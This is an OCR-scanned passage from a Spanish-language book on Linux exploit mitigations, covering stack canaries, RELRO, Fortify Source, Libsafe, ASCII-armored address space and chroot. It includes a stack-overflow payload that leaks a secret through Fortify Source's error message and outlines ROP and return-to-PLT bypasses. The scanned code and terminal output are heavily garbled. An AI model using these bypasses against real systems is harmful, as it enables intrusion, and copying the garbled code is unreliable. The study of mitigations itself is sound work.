privilegiado  que  utilizase  la  llamada  a  vfork  o  y  justo  antes  de  que  exeeve  ( }  fuese 
invocado,  provocando  asi  una  denegacion  de  servicio  debido  al  diseho  interno 
exelusivo  de  vfork  (} . 


Hasta  aqui  hemos  o  free  i  do  una  description  bastantc  am  pi  i  a  de  como  SSP  ha  progresado  con  rcspecto 
a  sus  antecesores,  y  cuales  son  las  vulnerabilidades  que  presenta  en  la  actualidad.  Pero  todavia  quedan 
algunas  preguntas  por  responder:  £  donde  se  almacena  este  valor  canary? ,  ^como  es  implemenlado  por 
el  compilador  en  el  codigo  del  usuario?  Vamos  a  proceder  paso  a  paso  para  resolver  todas  las 
incognitas. 

Glibc  utiliza  el  siguiente  ffamento  de  codigo  para  generar  el  canary  aleatorio: 
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static  inline  uintptr_t  _ attribute _  (  ( always_inline )  ) 

dl  setup  stack  chk  guard  (void) 

T 

uintptr  t  ret; 

# i f  de f  E NAB LE_S TACK G U AR D_RAN D OM I Z E 

int  fd  =  _ open  (Tl /dev/ur andom",  0_RD0NLY)  ; 

if  (fd  >=  0} 

{ 

ssize_t.  reslen  —  _ read  (fd,  &ret,  sizeof  [ret)); 

_ close  (fd) ; 

if  (reslen  —  (ssize_t)  sizeof  [ret) ) 
return  ret; 

} 

#endif 

ret  =  0; 

unsigned  char  *p  =  (unsigned  char  *)  sret; 
p [sizeof  (ret)  -  1]  -  255; 
p[sizeof  (ret)  -  2]  =  T\n"; 
return  ret; 

} 


La  interpretacion  no  presents  complicacion  alguna.  Si  el  dispositivo  /dev/urandom  se  encuentra 
disponible  y  puede  abrirse,  entonces  se  lee  un  entero  unsigned  que  ser&  el  nuevo  valor  canary  asignado 
al  proceso,  En  caso  contrario  se  crea  un  terminator  canary  cuyo  valor  es  similar  al  utilizado  por  Stack 
Guard,  $0xff0a0000. 

Sea  cual  sea  el  valor  obtenido,  este  se  almacena  en  un  area  conocida  como  TLS  (Thread  Local  Storage 
o  Thread  Local  Area).  Dado  que  los  hilos  creados  por  un  proceso  comparten  el  mismo  espacio  de 
memoria,  el  TLS  es  un  area  especialmente  disehada  para  gestionar  variables  globales  o  estaticas  que 
son  interpretadas  como  exclusivas  de  cada  hilo  de  ejecucion. 

En  una  platafortna  x86  de  32  bits,  el  registro  de  proposito  general  GS  almacena  el  descriptor  de 
segmento  para  aeceder  a  este  espacio  de  memoria,  Linux  sobre  x86_64  utiliza  el  registro  FS.  He  aqui 
el  codigo  que  demuestra  que  el  canary  generado  sc  obtiene  del  TLS: 

#ifdef  _ 13.86 _ 

#  define  S T AC K_C H K_GU AR D  \ 

({  uintptr_t  x;  asm  ("movl  %%gs:0x!4,  %0ri1  :  ,T = r 1T  (x)  )  ;  x ;  ) ) 

#elif  defined  _ x86_64 _ 

#  define  S TAG K_C H K_GU AR D  \ 

({  uintptr t  x;  asm  ( "movq  %%fs:0x28,  %0"  ;  "=r,T  (x)  )  ;  x;  }) 


A  la  direccion  base  contenida  en  el  descriptor  de  segmento  apuntado  por  GS  se  agrega  un  offset  de  20 
bytes  (0x14),  apuntando  asi  a  un  elemento  contenido  en  la  siguiente  estructura: 

typedef  struct 

{ 

void  *tcb; 

dtv_t  *dtv; 

void  *self; 

int  multiple_threads ; 

uintpt.r_t  sysinfo; 

uintptr_t  stack_guard; 

uintptr_t  pointer_guard; 
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int  gscope_flag; 

}  tcbhead t; 


En  efecto,  el  valor  entero  stack_guard  es  el  canary  que  buscabamos.  For  su  parte,  point&r_guard  es 
el  valor  utilizado  para  cifrar  punteros  mediante  la  mam)  ptr_mangle  que  estudiamos  en  el  capitulo 
anterior. 

Cuando  la  opcion  de  GCC  -f  stack-protector  se  encuentra  act  iv  ad  a  por  defecto,  el  compilador  puede 
deteciar  funciones  que  tengan  buffers  o  arrays  susceptibles  de  ser  manipulados  y  sobrescritos  por  culpa 
de  codigo  programado  de  forma  deficiente,  En  dichos  casos  GCC  afiade  las  siguientes  Uneas  de  codigo 
ensamblador  al  principle  y  al  final  de  cada  funcidn  elegida  por  el  parseador: 


0x08  04-866© 

<vuln+l8> : 

mov 

£gs : 0x14 , %eax 

0x080486.74 

<vuln+24>: 

mov 

%eax, -Oxc (%ebp) 

0x0804  8 6a 7 

<vuln+7  5> : 

mov 

-Oxc (%ebp) , %eax 

0x080486aa 

<vuln+7  8> : 

xor 

%gs : 0x14 , £eax 

0x080486bl 

<vuln+85> : 

je 

0x80486b8  <vuln+92> 

0x0  8  04  8  6b3 

<vuln-l-87> : 

call 

0x8048470  <  stack  chk  fail@plt> 

En  %gs:0xi4  se  encuentra  almacenado  el  valor  canary  aleatorio.  Este  se  mueve  al  registro  EAX  y 
seguidamente  se  inserta  en  el  stack  en  una  direction  anterior  al  registro  EBP  guardado*  Despues  de 
que  el  codigo  original  de  la  funcion  hay  a  terminado,  se  re  cu  per  a  de  la  pi  la  el  canary  y  se  realiza  una 
operation  XOR  con  cl  valor  guardado  en  el  TLS  para  comprobar  si  son  iguales.  En  case  afirrnativo  la 
funcion  retorna  sin  mas  preambulos,  en  otro  caso  el  metodo  stack_chk_f ail  ( )  es  invocado,  el  cual 

no  es  mas  que  un  envoltorio  de  la  funcion _ fortify_faii {) ,  que  imprimira  un  mensaje  de  error 

notificando  el  dcsbordamiento  de  pi  la  producido. 

El  ana  lists  realizado  puede  resultar  muy  util  en  la  practica.  Ya  mencionamos  que  uno  de  los  problemas 
que  presenta  SSP  en  servidores  que  atienden  las  peticiones  de  los  clientes  Uamando  a  forko ,  es  que 
cada  nuevo  hijo  posee  un  valor  canary  identico  al  del  padre  (aunque  estos  scan  particulates  de  cada 
proceso), 

Sabiendo  que  tenemos  acceso  al  espacio  de  memoria  donde  el  entero  generado  se  almacena,  podemos 
alterarlo  en  tiempo  de  ejeeucidn  para  cada  proceso  bifurcado.  Hemos  disenado  un  programa  que 
demuestra  este  liecho. 

#include  <f cntl *h> 

# include  <stdio ,h> 

#include  <stdlib.h> 

♦include  <string.h> 

{(include  <sys/ types . h> 

{(include  <unistd.h> 

unsigned  int  get_random  canary  {} 

{ 

unsigned  int  ret; 

int  fd  =  _ open  ( Tl /dev/ u random'" ,  0_RDONLY) 

if  (fd  >=  0) 

{ 

ssize_t  reslen  =  _ read  (fd,  &ret,  sizeof  (ret) ) ; 

close  (fd) ; 
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if  (reslen  ==  (ssize_t)  sizeof  (ret) } 
return  ret; 

else 

return  OxffOaOOOO; 

} 

return  OxffOaQQOQ; 

} 

void  set_new_canary { ) 

{ 

unsigned  int  canary  =  get_random_canary ( ) ; 
asmC'mOvl  %0,  %%gs:0xl4tl  :  :  "r,T  (canary)); 

} 

unsigned  long  get_canary {) 

t 

_ asnr _ ( “Tmo vl  %  gs  :  0  x  1 4  ,  %eax  "  )  ; 

) 

void  vuln (char  *str ) 

I 

char  nortbre  [  128]  ; 

printf ("Current  Canary  =  Qx%08lX\n" ,  get_canary  () ) ? 
strcpy  (nombre,  Str)  ; 

) 

int  main ( int  argc,  char  *argv[]) 

■{ 

pid  t  child? 
int  status,  i; 

printf ( "Original  Canary  =  Ox%03lX\nT\  get_canary{) } ; 
for  (  i  =  O;  i  <  4;  i++  ) 

{ 

if  (  (child  =  fork  () )  <  0  )  { 

fprintf (stderr ,  "error:  fqrk(}\n"); 
exit (1) ; 

} 

else  if  (  child  ==  0  }  { 
s  e  t_n  ew_can a  r  y ( )  ; 
if  (  argc  >  1  ) 

vuln { argv [ 1 ] ) ; 
exit (0) ; 

) 

else 

wait (sstatus) ; 

} 

return  0; 

}  


E)  programa  crea  cuatro  nuevos  procesos  y  espera  a  que  cada  uno  de  ell  os  termine.  Pot  cada  proceso 
hijo,  la  funeion  set  new  canaryo  genera  un  nimiero  entero  aleatorio  y  lo  asigna  al  contetiido  de 
%gs : 0x14,  sustituyendo  el  valor  canary  original  hercdado  del  padre.  Luego  se  ejecuta  vuin(),  que 
Simula  un  stack  overflow  com  tin  e  imprime  el  canary  actual. 

Si  comentaraos  la  linea  correspondiente  a  set_new_canary  o ,  cornprobaremos  como  el  canary 
establecido  se  mantiene  constante  para  todos  los  procesos.  Observe  en  la  imagen  la  diferencia  entre 
atnbos  cases. 
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0  blackngetgbbbc:  « 

bla^kngelgbbc :  ~$  +/vuln  black 
Original  Canar&fs  SxABFDfllBO 
Current  Canary  =  exABFDSlO© 

Current  Canary, i  ©xASFDBI©© 

CuFrem  Canary  i  flxABfDaiee 
Current  Canary  ^  ©jtABFDOlO© 
b\ackng?l£bbc : : 
b  L  ackngelgbbc : 
blackngelfbbc 
blackngelgbbc 
blackngel@bbc:*r$ 

blackngel@bbc;~$  gcc  vuln.c  -o  vuln 
blackngel@bbc */vuln  black 
Original  Canary  -  ©XF78262&© 

Current  Canary  =  ©X702B2SSS 
Current  Canary  s  ©xDfiBGlADB 
Current  Canary  =  SXB6C116D8 
Current  Canary  =  0xl89C5923 
blackngeljfelK ; -$  I 


Imagen  07.04:  Aleatonzacion  artificial  del  canary. 


La  solucion  que  hem  os  ideado  no  es  perfecta.  Si  la  Jim  cion  que  llama  a  set_new  canary  £.}  se 
encuentra  prolegida  a  si  misma  por  GCC  (por  ejemplo  si  contuviese  un  buffer),  entonces  habria  que 
restaurar  el  valor  canary  original  antes  de  permitir  que  esta  retome,  o  un  error  seria  detectado.  No 
obstante  lo  dieho,  la  idea  que  planteamos,  por  simple,  puede  agregar  una  nueva  capa  de  seguridad  a  su 
aplicacion  de  red  evitando  los  ataques  de  fuerza  bmta  que  se  ejeeutan  byte  por  byte. 


7.4.  Relocation  Read-Only  (RELRO) 

En  el  capitulo  6  describimos  al  menos  superficialmente  las  secciones  DTORS  y  GOT.  Durante  macho 
tiempo  am  bos  han  sido  dos  objetivos  susceptibles  de  ser  sobrescritos  por  un  atacante  para  redirigir  el 
flujo  de  ej  ecu  cion  de  un  programa.  La  tabla  GOT,  que  es  un  analogo  de  la  tabla  1AT  en  sistemas 
Windows,  resulta  especialmente  valiosa  para  un  exploiter  puesto  que  los  prograinas  de  usuario  utilizan 
decenas  de  fund  ones  c  uyas  direcciones  se  encuentran  almacenadas  en  la  misma,  lo  que  nos  otorga 
much  as  oportunidades  dc  obtener  el  control. 

El  funcionamiento  de  esta  tabla  de  busqueda  es  muy  simple:  el  cargador  de  ejecutables  con  formato 
ELT  (leva  a  cabo  un  proceso  conocido  como  lazy  binding  o,  en  la  lengua  de  Cervantes,  enlace  perezoso. 
Basicamente,  su  objetivo  es  postergar  la  obtencion  de  las  direcciones  de  las  llamadas  dc  librena  hasta 
que  estas  scan  invocadas.  Por  lo  tanto,  cuando  cl  binario  es  cargado  en  memoria  y  una  funcion  es 
llamada  por  primera  vez,  la  PLT  o  Procedure  Linkage  Table  realiza  un  salto  (jmp)  a  la  GOT  y  descubre 
que  la  entrada  en  cuestion  todavia  no  ha  sido  resuelta  (esta  contiene  de  hecho  una  direccion  de  regreso 
hacia  la  PLT),  por  lo  que  invoca  al  Runtime  Linker  o  rtld  para  que  resuelva  la  direccion  del  simbolo 
de  la  funcion  concreta  y  la  almacene  tinalmente  en  la  GOT.  Las  siguientes  llamadas  no  tienen  que 
volver  a  pasar  por  este  proceso  de  re  solucion  y  se  utiliza  directamente  la  direccion  almacenada  en  la 
entrada  GOT  correspondieiite. 

Este  metodo  dc  enlace  se  disenb  para  mejorar  los  tiempos  de  carga  de  los  procesos,  pern  la  eficiencia 
se  torna  insegura  dado  que  proporeiona  a  un  atacante  secciones  con  perm  isos  de  escritura  cuando  solo 
debenan  ser  de  lectura,  Para  mitigar  este  defecto  se  desarrollo  RELRO,  cuya  mision  es  realizar  todo 
d  proceso  de  resolucion  de  direcciones  en  tiempo  dc  carga,  lo  que  se  conoce  como  bind  now,  y  luego 
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se  cambian  los  permisos  de  las  seceiones  .got,  .citors,  .ctors,  .dynamic  y  ,  jer  estableciendolas 
como  de  solo  lectura. 


Las  opciones  de  GCC  que  activan  las  citadas  protecciones  son:  -z  reiro  y  -z  now.  Si  la  ultima  opcidn 
no  se  uliliza,  en  realidad  se  esta  realizando  un  RELRO  pareial,  lo  que  significa  que  todas  las  secciones 
excepto  la  GOT  son  reordenadas  de  modo  que  se  situan  antes  que  las  zonas  de  dales,  pero  esta  ultima 
seguiria  teniendo  pennisos  de  escritura.  Cabe  mencionar,  que  cuando  un  RELRO  completo  es 
realizado,  el  tiempo  de  earga  se  incrementa  considerablemente  para  ciertas  aplieaciones,  y  algunas  de 
ellas  ni  siquiera  son  compatibles  con  este  procedimiento  como  yaha  ocurrido  con  X  o  Transcode. 


Si  ejeeutamos  en  una  consola  de  comandos  el  siguiente  script  de  Tobias  Klein: 
htfp://wwwJrapkiLde/tooh/checkrelro.sh  en  la  version  estable  de  Ubuntu  12.04,  obtenemos  el 
resultado  que  se  ve  en  ! a  siguiente  imagen. 


^  black ngeliSPbbt:  - 

blackngel@blx :  sutjo  . /check  re  l ro .  sh  -pp&c  all 

[sudo)  password  f a  rfblackhgel : 
tnlt  (li  V  m. 

Network  Manager  (1014)  partial  RELRO 
cupsd  ( id  IS)  -  partiajkaEi-RO 
polkltd  CJ02fl)  ■  partf%:A|po 
wpa_suppl leant  (1076)  -  ial_  yEVRE 

getty  ( l&9<r)r -  -partial  RELRu™ 
getty  (1094)  +  |&»£tlal  RELRO 

getty  (1109)  RELRO 

getty  (1110)  -  i&ir.tial  mgp 

getty  (1112)  -  parlt&k.jrRRO 

acpld  (1121)  -  partial  v 

cron  (1194)  -  partial  RELRO 
atd  (1195)  ■  partial  RELRO 
llghtdn  (1198)  partial  RELRO 
Irqbalance  (1201)  -  partial  RELRO 
xorg  (12G8)  -  partial  RELRO 
whoo  pS If- ( 1 2  2  7 )  >  -  T'fyj  V4MjL  m 

jpetty  (1379)  f 

act ougt s ^ da e* on  (138 0  1  p|rtO?  JftELjJtf 

console-  kit  -  dae  ( 1406 )  -  ;•  >r  y"  >1  :R  LI  *C 
upowerd  (1S19)  •- 

L  tghtriiq  (1549)  ... 


f*|A 


HO/ 


imagen  07.05:  Aplieaeiones  prolegidas  medianie  RELRO. 


El  resultado  es  que  la  mayoria  de  los  binarios  solamente  son  protegidos  de  forma  parcial  utilizando 
RELRO,  obviando  el  enlace  directo  o  bind now,  por  lo  que  Jos  ataques  de  los  exploiters  contra  la  GOT 
todavia  siguen  siendo  viables.  Comentaremos  a  modo  de  curiosidad  que  el  navegador  Firefox  si 
iinplementa  una  protection  completa  tal  y  como  se  observa  en  la  ilustracion. 


blackngolffrbbc  ~ 

blackngel@bbc; ps  -ax  !  grep  /Itb/firefpx/ftrefoxt 

warnlngfi  bad  ps  syntax f  perhaps  a  bogus  M>?  http://procps.sf.net/faQ.htnl 
2658  7§  SI  !:  0:36  /usr  /  Ub/f uSoxff  Ire f 

5176  pts/8  S+  0:90  grep  -  * colof^au to  ,h  ib/^efox/flrefox 

bl ackngelf bbc : -$  sudoVeadelf  l  /proe/26S8/exe  |j  grep  GNU  .RELRO 

0x014cf0  0X000 15cftf  0x00015cf0  &X0O310  0x00310  ft  9x1 
bLackngel@bbtirr$  sudo  readetf  d  /proc/265S/exe  1  grep  BZNO.NOU 
0X09000010  (  7^2  .NOW) 

blackngel@bbc>~$ _  _ ■ :  • _ _ 

imagen  07.06:  Full  RELRO  en  el  navegador  Firefox. 
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7.5.  Fortify  Source 

La  protccci6n  Fortify  Source  es  una  medida  preventiva  aplicada  a  nivel  de  compilacion  del  codigo 
fuente.  El  objetivo  es  mitigar  los  errores  de  buffer  overflow  mas  comunes  sustituyendo  las  llamadas 
habituales  de  copia  de  cadenas  o  de  entrada  de  datos  por  otras  que  realizan  com probaci ones  de 
seguridad. 

A  partir  de  la  distribucidn  4  de  Fedora  Core  de  Linux,  el  compilador  GCC  comenzo  a  hacer  uso  de  la 
direcLiva  -d  fortify  source.  Esta  puede  determinar  aquellas  funciones  que  manejan  buffers  de 
tarn  ail  a  fijo,  y  puede  decidir  en  esos  casos  realizar  los  cambios  necesarios  paTa  evitar  un  limite  en  la 
capacidad  de  almacenamiento  ante  un  exccso  de  entrada  de  datos.  Pongamos  un  ejemplo: 

char  buffer [16]; 

strcpy (buffer,  "blackngel") ; 


C  uando  el  compilador  se  encuentra  con  las  sentencing  anteriores,  puede  determinar  mediante  la 
interpretacion  del  propio  lenguaje  que  la  copia  de  cadena  que  se  va  a  prod  tie  ir  en  tiempo  de  ejecucion 
es  segura,  por  lo  tanto,  strcpy  ()  es  invocado  sin  mas  reaction.  Ahora  observemos  otro  caso: 

char  buffer [16] ; 

strcpy (buffer,  source); 


Es  muy  probable  que  hasta  que  cl  binario  se  encuentre  en  ejecucion,  no  sea  posible  determinar  la 
longitud  exacta  del  buffer  source.  En  este  caso,  si  la  directi va  -d  fortify_source=i  o  - 
d_fqrtify_source=2  ha  sido  definida,  entonces  la  funcion  strcpy o  sera  sustituida  por  una  llamada 

a  una  alternativa  segura _ strcpy  chk  u  *  El  proceso  que  se  produce  es  el  siguienic,  primero  se  obtiene 

el  tamano  del  buffer  de  destino,  el  cual  se  conoce  en  liempo  de  compilacion  debido  a  que  ha  sido 
declarado  fijo,  a  partir  de  la  siguiente  macro: 

ft  define  os (ptr)  builtin ob j ect size  (ptr,  0 ) 

Luego  podemos  ver  la  redefinition  de  la  funcion  original  strcpy  { ) . 

#define  strcpy (dst,  src)  \ 

bulltin^ strcpy  chk  {dst,  src,  os  (dst) ) 


\  fm  aim  ente  en  la  llamada  sustitutiva,  que  sera  invocada  durante  la  ejecucion  del  program  a,  se 
comprueba  que  la  longitud  del  buffer  de  origen  no  sea  superior  a  la  longitud  del  buffer  destino 
anteriormeme  calculado. 

char  *  strcpy chk  (char  *d,  const  char  *s,  SIZE  TYPE  size) 

{  “ 

/*  If  size  is  -1,  GCC  should  always  optimize  the  call  into  strcpy.  */ 

if  (size  ==  ( _ STZEJEYPE _ )  KL) 

abort  ( ) ; 

++chk_calls ; 
if  (strlen  (s)  >-  size) 

_ chk_fail  (); 

return  strcpy  (d,  s) ; 

J 
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Ademas  de  algunas  comprohao tones  extras,  la  diferencia  principal  entre  - d_ fort i fy_ so urge =1  y  - 
d  fortify  source=2,  es  que  la  segunda  opcion  no  permitira  que  el  espedficador  de  fonnato  %n 
pro ven ga  de  una  seeeion  con  permisos  de  escritura,  lo  cual  se  produce  normalmente  ante  un  ataque  de 
cadenas  de  formate.  Ademas,  el  parametro  de  acceso  directo  solo  sera  valido  si  se  consumer!  tambien 
todos  los  tokens  o  argumentos  anter lores,  de  mode  que  el  especificador  %3$d  solo  sera  util  si  se  utiiizan 
tambien  %2Sd  y  %i$d. 

Como  es  de  esperar  en  estos  casos,  aurrque  la  apariencia  de  la  protection  Simula  ser  muy  robusta,  ya 
han  sido  descubiertos  varios  errores  en  la  implementation  que  permiten  evadir  las  medidas  de 
seguridad. 

En  el  articulo  “A  Eulogy  for  Format  Strings’1  publicado  en  el  numero  67  de  la  revista  Phrack,  se 
demostraba  la  existencia  de  un  desbordamiento  de  entero  en  la  variable  nargs  que  se  producia  al 
utilizar  un  parametro  de  acceso  directo  o  parametro  positional  grande.  Este  valor  condicionaba  una 
posterior  liamada  a  a: loca  o ,  cuya  mi  si  on  es  reservar  memoria  en  el  stack,  de  esta  manera  se  producia 
un  desplazamiento  de  pi  la  control  ado  que  podria  conducir  a  la  desactivacion  del  bit 
_ r g_ flag s 2_fo rt  i  f y ,  y  por  lo  tanto  a  que  no  fuera  posible  la  ejeeucion  de  las  comprobaciones 
habituates  de  seguridad.  Las  aplitationes  sudo  y  ippaswd  de  CUPS  ya  ban  sido  explotadas  utilizando 
esia  Lecnica. 


Nota 


En  la  fecha  en  que  se  escribe  el  libro,  la  plataforma  x86_64  no  parece  vulnerable  a  este 
desbordamiento  de  entero. 


Otro  curioso  truco  que  ya  lia  sido  demostrado  eonsiste  en  que  el  mensaje  de  error  mostrado  por  las 
di  recti  vas  de  seguridad  cuando  un  desbordamiento  de  buffer  es  detectado,  utiliza  el  n  ombre  del 
programa  a  traves  de  argv [0], 


void 

attribute  { {no return) ) 
forlify_fail  (msg) 
const  char 
{ 


1 


while  CD 

_ iibc_mes3age  (2r  "***  %s  ***:  terminated\n,r , 

meg,  _libc_argv [ 0 ]  ?:  T,<unknown>Tl)  ; 


Si  dicho  puntero  puede  ser  alterado  para  redireccionarlo  had  a  otro  lugar  de  la  memoria,  entonces  un 
ataeante  podra  obtener  information  sobre  el  espatio  asignado  al  protest),  lo  que  serf  a  especial  mente 
peligroso  en  una  aplieacion  con  el  bit  said  activado.  Mostramos  un  breve  ejemplo,  burdo  pero 
ilustrador. 

# include  <stdio.h> 

# include  <string . h> 

char  key  [  ]  =  {'S’,  'ED  'CD  'RD  'ED  'TD  'OD  ' \0T}f 
void  vuln (char  *str ) 

t 


char  nombre[128]; 
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strcpy ( nomhre,  str} ; 

} 

int  main  (1  rat  arge,  char  *argv[]) 
{ 

if  (  argc  >  1  ) 

vuln (argv [1] ) ; 
return  0; 

} 


En  la  imagen  siguiente  vemos  la  diferencia  entre  el  resultado  de  un  desbordamiento  normal  y  otro 
controlado. 


O  blacfcngelgfcbbc:  ~ 

blackragel@bbc:~S  dbjdanp  -t  ./vain  [if  rep  key 
0804a0lS  g  0  -data  00000008  |$|y 

blackngel@bbc:~$^/vuln  perl  -e  ’print  f,Aflx2&0t 
***  stack  snashing  detected  ***:  ./vuln  terminated 
Violation  de  segnento  (core1  generado) 

blackngel@bbc : -$  ./vulri  >erl  -e  'print  1,\xl8ixa&\x04\x08f,x90, ' 
***  stack  smashing  detected  ***:  5ECRETG  terminated 
=====  Backtrace:  ===== 

/ 1 1 b / i 3 86  - 1 i ndx - gnu / libc .  so .  6 ( _ for tif y_f a 1 1 +0x4 5 ) [ Bx b76a40e 5 ] 

/lib/ 1 386  -  Unux  - gnu/llbc  *  so - 6{ +0xl8409a ) [ 0xb76a409a ] 

S  EC  RE  TO  [  0x8 0484 7a  ]  ' "  #8® 

5ECRET0[  0x804a0l8]  _ _ _ _ 

Imagen  07.07:  Fuga  do  information  con  Fortify  Source. 


7.6.  Reemplazo  Libsafe 

Can  el  anirno  de  ser  lo  mas  exhaustive^  y  completes  en  nuestro  estudio,  meneionaremos  en  adelante 
algunas  protecciones  adicionales  que  a  lo  largo  del  tiempo  han  visto  la  luz  en  el  mundo  de  La  anti- 
exp  lotacion. 

La  libreria  dinamica  Libsafe,  desarrollada  originalmente  por  Lucent  Technologies  de  los  laboraiorios 
Bell  (la  version  2.0  fue  desarrollada  en  2001  por  Avaya  Labs),  eonsiste  en  un  reemplazo  para  las 
siguientes  funeiones:  strcpy  0,  strpcpyO,  wcaepyO,  wcpcpyO,  wcscpyO,  streatt),  getwd  ( )  , 
gets  () ,  scanf  { ) ,  fscanf  (>,  vseanf  {),  realpath(J ,  aprintf  £)  y  vsprintf  (} . 

Ai  precargar  esta  libreria  en  cualquier  proceso,  las  11am adas  a  dichas  funeiones  son  interceptadas  y 
sustituidas  por  las  nuevas,  que  se  supone  constttuyen  una  allemativa  segura  de  cada  una  de  el  las.  Su 
uso  es  sencillo,  una  vez  descargada  la  libreria  se  configura  la  variable  de  entomo  ld  preload  como 
sigue: 

$  LD PRELQAD=/ lib/ libsafe . so .2  " 

$  export  LD PRELOAD 


Otro  acercamiento  mas  global  es  definir  la  preearga  de  la  libreria  de  forma  definitiva  y  para  todas  las 
aplicaeiones  de  la  siguiente  forma: 


ft  echo  1 /lib/libsafe . so . 2 T  »  /etc/ld. so .preload 
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Luego  se  ejecutan  las  aplicaciottes  segun  la  costum bre  y  la  libreria  se  enearga  del  resto.  Obviamente, 
esto  no  se  trata  ni  de  una  so  I  uc  ion  definitiva  ni  esta  comunmente  estandarizada.  Las  copias  de  datos 
byte  a  byte  que  se  producer!  a  menudo  en  bucles  no  disponen  de  proteccic3n  alguna. 

Citaremos  para  terminar  algunas  otras  limitaciones  que  hacen  que  Libsafe  no  se  haya  tenido  muy  en 
euenta  en  las  dlstribuciones  mas  habituales  de  Linux: 

Solo  funciona  en  procesadores  xS6. 

-  Mo  funciona  con  programas  eompilados  con  la  opcidn  -fomit- frame-pointer. 

-  No  funciona  con  programas  eompilados  de  forma  estatica. 

No  todas  las  funciones  de  movimiento  de  datos  son  cubiertas, 
ld  preload  no  puede  reaiizarse  sobre  binarios  suid. 


7.7.  ASCII  Armored  Address  Space 

El  mecanismo  AAAS  o  ASCII  Armored  Address  Space  carga  todas  las  librerias  compartidas  en  los 
primeros  16  megabytes  del  espacio  de  memoria  del  proceso,  es  decir,  desde  Gxoooooooo  hasta 
OxOGffffffff.  La  eleccidn  especifica  de  la  direcciones  virtuales  es  un  poco  mas  elaborada  que  esta 
simpliilcacion  y  parte  de  una  solucidn  presentada  por  Solar  Designer  como  un  parche  para  el  kernel 
de  Linux.  Por  lo  tanto,  cualquier  llamada  o  funcion  de  libreria.  como  por  ejemplo  las  habituales 
system  ( )  o  mprotect  ( ) ,  contendran  siempre  un  valor  null  como  byte  mas  significativo,  y  las  funciones 
de  copia  de  datos  habituales  como  strepy  ( )  cortaran  el  payload  imertado  por  un  atacante. 

AAAS  no  resulta  una  medida  tan  efectiva  en  una  arquitectura  little-endian  como  lo  puede  ser  en  big- 
endian  (por  ejemplo  los  procesadores  Motorola  o  PA- RISC).  Esta  ultima,  provocaria  que  la  escritura 
de  un  valor  null  como  byte  mas  significative  sea  el  primero  en  ser  cortado  por  una  funcion  de  copia 
de  cadenas,  frustrando  la  posibilidad  de  conrompcr  una  direccion  de  retomo  con  los  otros  24  bits  de  la 
direccion  virtual  elegida. 

Aunque  la  idea  es  francamente  interesante,  no  cumple  todas  las  espectativas  ni  resulta  satislactoria 
contra  algunas  de  las  teenicas  que  ya  hemos  detallado.  Por  un  lado,  recordamos  que  disponemos  de 
toda  una  familia  de  funciones  de  entrada  que  admiten  toda  dase  de  datos  binaries,  entre  ellos  los  bytes 
null  o  ilnalizadores  de  cadena.  Por  el  otro,  aunque  Return  to  Li  be  sea  relaiivamente  mitigado  (ya 
demostramos  en  la  seccion  4.1.1  que  esto  no  es  del  todo  cierto),  un  exploiter  avezado  siempre  puede 
redirigir  el  flujo  hacia  una  entrada  en  la  PLT  e  incluso  utilizar  teenicas  ROP  para  escribir  en 
direcciones  arbitrarias  de  la  memoria.  Una  idea  eomplementaria  para  evitar  los  ataques  ROP  seria 
dcsplazar  cl  propio  codigo  del  binario  (seccion  .  text  del  formate  ELF)  al  espacio  designado  para 
AAAS.  Como  un  ejemplo  realmente  cercano  y  curioso,  los  ejecutables  eompilados  para  la  plataforma 
Microsoft  Windows  (PE  o  Portable  Executable)  mapean  su  codigo  a  parti r  de  la  direccion  de  memoria 
virtual  0x00400000. 

Un  ejemplo  practice  de  ataque  consiste  en  retom ar  varias  voces  sobre  la  entrada  de  stropyO  en  la 
PLT  de  un  programs  vulnerable,  pasando  como  argumentos  la  direccion  de  una  entrada  en  la  GOT  y 
los  bytes  correspond  ientes  de  la  direccion  de  system  o.  Vea  la  siguiente  ilustracion  para  una 
comprension  mas  clara  del  exploit: 
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He  aqui  plies  un  ejemplo  de  ROP  en  accion  muy  efectivo.  For  otro  lado,  en  aquellos  sistemas  cuyas 
librerias  compartidas  utilicen  el  registro  EBP  para  aeeeder  a  los  arguraentos  de  fund  on,  tainbien  sen  a 
posible  sobrescribir  el  frame  pointer  guardado  esiableciendo  un  marco  de  pi  la  artificial  al  principio 
del  buffer  vulnerable  y  Luego  ejecutar  una  funcion  como  system  o . 


Imagen  07,09:  Control  del  marco  de  pita  en  fimciones  de  libreria. 
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Lo  cierto  es  que  las  condiciones  particulares  de  cada  exploit  deberian  ser  estudiadas  con  detenimiento, 
y  es  probable  que  la  direccion  de  la  funcion  con  la  que  se  altera  la  direction  de  retomo  guardada  en 
realidad  deberia  apuntar  pasado  el  prologo  de  funcion  de  la  misma,  de  modo  que  el  registro  EBP  no 
vuelva  a  ser  modificado  de  forma  accidental,  HI  conceplo  que  el  lector  debe  asimiliar,  es  que  hemos 
creado  un  nuevo  marco  de  pi  la  falso  para  eontener  los  argumentos  de  la  llamada  de  libreria  dentro  del 
buffer  vulnerable,  y  asi,  es  posible  inyectar  como  ultimo  valor  una  direccion  cuyo  byte  mas 
significativo  puede  ser  un  null  que  finalice  la  cadena. 


7.8.  Jaulas  con  chroot() 

Utilizamos  el  tcmnino  ehroot  f)  euando  queremos  referirnos  a  una  llamada  del  si  sterna  o  syscall  que 
se  encuentra  definida  en  el  kernel  de  Linux,  y  simplemente  ehroot  euando  hablamos  de  una  orden  que 
puede  ser  invoeada  a  traves  del  interprete  de  eomandos  o  shell.  La  mision  de  ambas  es  eneerrar  a  un 
proeeso  y  a  sus  hijos  (si  es  que  los  tiene)  en  una  especie  de  jaula,  mas  conocida  en  tiempos  modemos 
eomo  sandbox,  de  modo  que  dicho  proeeso  no  pueda  acceder  a  recursos  que  se  encuentren  deltas  de 
un  directorio  e  specific  ado. 

El  kernel  mantiene  un  descriptor  para  cada  proeeso  en  ejecueion  (task  struct)  que  a  su  vez  eontiene 
un  elemento  (f s  struct)  que  indica  el  directorio  raiz  asignado  a  los  mismos.  Una  llamada  a  ehroot  ( j 
o  change  root  puede  cambiar  el  directorio  establecido  por  defeeto,  que  normalmente  sera  /  e  impedir 
que  un  programa  acceda  a  ficheros  ajenos  al  entomo  restringido.  Por  ejemplo,  si  una  aplicacidn  es 
enjaulada  mediante  ehroot  en  /home/user/ jaula,  si  esta  intenta  llamar  a  un  programa  extemo  eomo 
/bin/ is,  en  realidad  el  proeeso  estara  intentando  acceder  a  /home /uuer/jaui a/bin/ is,  pero  nunca 
sera  consciente  ni  estara  dentro  de  su  campo  de  vision  el  directorio  raiz  original  /.  Pudiese  pareeer  una 
